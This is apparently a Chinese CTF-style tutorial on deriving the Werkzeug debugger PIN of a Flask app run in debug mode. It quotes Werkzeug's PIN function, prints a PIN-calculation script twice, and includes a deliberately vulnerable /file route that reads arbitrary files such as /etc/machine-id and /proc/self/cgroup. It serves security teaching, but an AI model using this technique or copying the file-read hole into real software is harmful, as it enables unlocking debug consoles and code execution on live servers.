from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
运行,控制台状态如下
浏览器如下则成功
点击步入
转到了flask/app.py,直接Ctrl+F搜索werkzeug
此时进入了__init__.py,经过一番审计,先来看一看pin函数
主要是get_pin_and_cookie_name函数,进去看看
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
返回的rv就是PIN码,但这个函数核心是将列表里的值hash,我们不需要去读懂这段代码,只需要将列表里的值填上直接运行代码就行。
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def hello():
return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'
@app.route("/file")
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 0
if __name__ == "__main__":
app.run(host="0.0.0.0", port=9000, debug=True)
拼接起来,代入程序,直接运行
与环境里的一致
如果大家嫌开环境麻烦这里推荐两个线上靶场,这俩都是计算PIN
•[GYCTF2020]FlaskApp——BUUCTF
•web801——CTFshow
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本文作者:合天网安实验室
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